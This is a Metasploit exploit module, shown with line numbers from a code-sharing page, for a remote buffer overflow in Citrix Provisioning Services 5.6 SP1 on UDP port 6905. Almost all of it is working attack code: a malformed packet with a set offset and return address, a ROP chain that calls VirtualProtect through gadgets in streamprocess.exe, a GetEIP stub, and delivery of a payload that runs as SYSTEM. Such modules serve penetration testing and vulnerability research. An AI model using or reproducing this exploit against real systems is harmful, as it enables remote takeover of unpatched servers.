Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Remote
7
  Rank = NormalRanking
8

9
  include Msf::Exploit::Remote::Udp
10

11
  def initialize(info = {})
12
    super(update_info(info,
13
      'Name'           => 'Citrix Provisioning Services 5.6 SP1 Streamprocess Opcode 0x40020006 Buffer Overflow',
14
      'Description'    => %q{
15
          This module exploits a remote buffer overflow in the Citrix Provisioning Services
16
        5.6 SP1 (without Hotfix CPVS56SP1E043) by sending a malformed packet with the opcode
17
        0x40020006 (GetObjetsRequest) to the 6905/UDP port. The module, which allows code execution
18
        under the context of SYSTEM, has been successfully tested on Windows Server 2003 SP2
19
        and Windows XP SP3.
20
      },
21
      'License'        => MSF_LICENSE,
22
      'Author'         =>
23
        [
24
          'Anyway <Aniway.Anyway[at]gmail.com>', # Vulnerability Discovery
25
          'alino <26alino[at]gmail.com>', # citrix_streamprocess_data_msg author
26
          'juan vazquez'  # Metasploit module
27
        ],
28
      'References'     =>
29
        [
30
          ['OSVDB', '75780'],
31
          ['BID', '49803'],
32
          ['URL', 'http://support.citrix.com/article/CTX130846'],
33
          ['ZDI', '12-010']
34
        ],
35
      'DefaultOptions' =>
36
        {
37
          'EXITFUNC' => 'process',
38
          'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',
39
        },
40
      'Payload'        =>
41
        {
42
          'BadChars' => "\x00",
43
          'EncoderOptions' => {'BufferRegister'=>'ECX'},
44
        },
45
      'Platform'       => ['win'],
46
      'Targets'        =>
47
        [
48
          [ 'Citrix Provisioning Services 5.6 SP1',
49
            {
50
              'Offset' => 1500,
51
              'Ret'    => 0x0045403a # ADD ESP,664; RETN 04 streamprocess.exe
52
            }
53
          ]
54
        ],
55
      'Privileged'     => true,
56
      'DisclosureDate' => '2011-11-04',  #CTX130846 creation date
57
      'DefaultTarget'  => 0))
58

59
    register_options([Opt::RPORT(6905)])
60
  end
61

62
  def exploit
63

64
    packet =  "\x06\x00\x02\x40" # DATA MSG
65
    packet << rand_text_alpha_upper(18)
66
    packet << "\x00\x00\x00\x00"
67
    packet << "\x00\x00\x00\x00" # Length
68
    packet << rand_text_alpha_upper(target['Offset'])
69
    packet << [target.ret].pack('V')
70

71
    rop_nop = [0x004a072c].pack('V') * 38 # RETN streamprocess.exe
72

73
    rop_gadgets =
74
    [
75
      0x0045b141, # POP EAX; RETN streamprocess.exe
76
      0x1009a1bc, # VirtualProtect()
77
      0x00436d44, # MOV EAX,DWORD PTR DS:[EAX]; RETN streamprocess.exe
78
      0x004b0bbe, # XCHG EAX,ESI; RETN streamprocess.exe
79
      0x004ad0cf, # POP EBP; RETN streamprocess.exe
80
      0x00455d9d, # PUSH ESP; RETN streamprocess.exe
81
      0x00497f5a, # POP EAX; RETN streamprocess.exe
82
      0xfffff9d0, # dwSize
83
      0x00447669, # NEG EAX; RETN streamprocess.exe
84
      0x004138a7, # ADD EBX,EAX; XOR EAX,EAX; RETN streamprocess.exe
85
      0x00426305, # POP ECX; RETN streamprocess.exe
86
      0x00671fb9, # lpflOldProtect
87
      0x004e41e6, # POP EDI; RETN streamprocess.exe
88
      0x0040f004, # RETN streamprocess.exe
89
      0x00495c05, # POP EAX; RETN streamprocess.exe
90
      0xffffffc0, # flNewProtect
91
      0x0042c79a, # NEG EAX; RETN streamprocess.exe
92
      0x0049b676, # XCHG EAX,EDX; RETN streamprocess.exe
93
      0x0045c1fa, # POP EAX; RETN streamprocess.exe
94
      0x90909090, # NOP
95
      0x00435bbe, # PUSHAD; RETN streamprocess.exe
96
    ].pack("V*")
97

98
    packet[338, rop_nop.length] = rop_nop
99
    packet[490, rop_gadgets.length] = rop_gadgets
100
    # Put payload address in ecx
101
    geteip = "\xeb\x03" # jmp short 0x5
102
    geteip << "\x59" # pop ecx
103
    geteip << "\xff\xd1" # call ecx
104
    geteip << "\xe8\xf8\xff\xff\xff" # call to "pop / call"
105
    packet[574, 10] = geteip
106
    packet[584, payload.encoded.length] = payload.encoded
107

108
    print_status("Trying target #{target.name}...")
109

110
    connect_udp
111
    udp_sock.put(packet)
112

113
    handler
114
    disconnect_udp
115
  end
116
end
117

118